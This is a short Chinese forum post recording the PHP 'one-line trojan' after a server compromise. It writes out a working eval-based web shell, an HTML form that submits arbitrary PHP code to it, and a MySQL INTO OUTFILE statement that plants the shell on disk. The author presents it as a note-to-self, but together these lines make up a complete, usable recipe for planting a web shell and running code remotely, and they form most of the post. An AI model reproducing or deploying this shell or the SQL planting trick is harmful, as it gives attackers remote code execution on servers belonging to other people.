della0887 发表于 2017-3-20 13:28:07

关于php一句话木马

服务器上发现被植了很多木马,而且还让人肆意使用...NND
<?php @eval($_POST['c']);?>

使用方法也很简单,本地提交文件指向提交文件,里面的php代码就会被执行

<html>
<body>
<form action="a.php" method="post">
<input type="text" name="c" value="phpinfo();">
<input type="submit" value="submit">
</form>
</body>
</html>




仅此做个记录,php这东西真恶心
后补充记录:
mysql输出文件

select '<?php @eval($_POST["c"]);?>' INTO OUTFILE 'e:/m.php'
页: [1]
查看完整版本: 关于php一句话木马